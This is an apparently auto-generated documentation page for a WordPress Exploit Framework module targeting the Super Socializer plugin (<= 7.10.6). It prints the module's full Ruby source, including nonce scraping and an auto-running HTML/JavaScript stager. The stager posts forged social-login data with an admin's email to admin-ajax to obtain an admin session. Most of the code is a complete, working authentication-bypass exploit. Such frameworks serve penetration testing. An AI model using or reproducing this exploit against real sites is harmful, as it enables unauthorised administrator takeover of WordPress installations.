Class: Wpxf::Auxiliary::SuperSocializerAuthBypass

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpServer
Defined in:
lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary collapse

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ SuperSocializerAuthBypass

Returns a new instance of SuperSocializerAuthBypass.



7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 7

def initialize
  super

  update_info(
    name: 'Super Socializer <= 7.10.6 Authentication Bypass',
    desc: %(
      Super Socializer <= 7.10.6 is vulnerable to an
      authentication bypass exploit if an attacker is
      in posession of an admin's e-mail address and the
      social login feature is enabled.

      This module will launch a HTTP server, which when
      visited will automate the bypass process, and
      provide an admin session.
    ),
    author: [
      'rastating' # WPXF module
    ],
    references: [
      ['WPVDB', '9043']
    ],
    date: 'Mar 03 2018'
  )

  register_options([
    StringOption.new(
      name: 'admin_email',
      desc: 'The e-mail address of the admin user to authenticate as',
      required: true
    )
  ])
end

Instance Attribute Details

#login_nonce ⇒ Object

Returns the value of attribute login_nonce.



153
154
155
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 153

def 
  @login_nonce
end

Instance Method Details

#check ⇒ Object 



40
41
42
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 40

def check
  check_plugin_version_from_readme('super-socializer', '7.10.7')
end

#fetch_nonce ⇒ Object 



122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 122

def fetch_nonce
  emit_info 'Fetching a login nonce...'
  res = execute_get_request(url: )
  return false unless res&.code == 200

  pattern = /var\sthe_champ_sl_ajax_token\s=\s{"ajax_url":".+?","security":"([a-z0-9]+?)"};/i
  self. = res.body[pattern, 1]

  if .nil?
    emit_error 'Failed to fetch a login nonce'
    return false
  else
    emit_success "Found nonce: #{}", true
    return true
  end
end

#on_http_request ⇒ Object 



114
115
116
117
118
119
120
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 114

def on_http_request(*)
  emit_info 'Serving stager...'
  {
    type: 'text/html',
    body: stager
  }
end

#run ⇒ Object 



139
140
141
142
143
144
145
146
147
148
149
150
151
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 139

def run
  return false unless super
  return false unless fetch_nonce

  address = http_server_bind_address
  address = 'localhost' if address == '0.0.0.0'

  emit_info "Visit http://#{address}:#{http_server_bind_port} to login."
  emit_warning 'If your browser blocks the popup, be sure to allow it.'

  start_http_server
  true
end

#stager ⇒ Object 



44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
 
# File 'lib/wpxf/modules/auxiliary/priv_esc/super_socializer_auth_bypass.rb', line 44

def stager
  %(
    <html>
    <head>
    </head>
    <body>
      <script>
        var url = '#{full_uri}',
          email = '#{datastore['admin_email']}',
          nonce = '#{}';

        function exploit() {
          var param = {
            action: 'the_champ_user_auth',
            security: nonce,
            'profileData[id]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
            'profileData[link]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
            'profileData[name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
            'profileData[email]': email,
            'profileData[first_name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
            'profileData[last_name]': '#{Wpxf::Utility::Text.rand_alpha(6)}',
            provider: 'facebook',
            redirectionUrl: encodeURI(url)
          };
          var wnd = OpenWindowWithPost("#{wordpress_url_admin_ajax}",
            "width=700,height=345,left=100,top=100,resizable=yes,scrollbars=yes", "exploit", param);


          setTimeout(function() {
            wnd.close();
            window.location.replace("#{wordpress_url_admin}");
          }, 2000);
        }

        function OpenWindowWithPost(url, windowoption, name, params) {
          var form = document.createElement("form");
          form.setAttribute("method", "post");
          form.setAttribute("action", url);
          form.setAttribute("target", name);

          for (var i in params) {
            if (params.hasOwnProperty(i)) {
              var input = document.createElement('input');
              input.type = 'hidden';
              input.name = i;
              input.value = params[i];
              form.appendChild(input);
            }
          }

          document.body.appendChild(form);

          var wnd = window.open("", name, windowoption);

          form.submit();

          document.body.removeChild(form);

          return wnd;
        }

        document.addEventListener("DOMContentLoaded", function(event) {
          exploit();
        })
      </script>
    </body>
    </html>
  )
end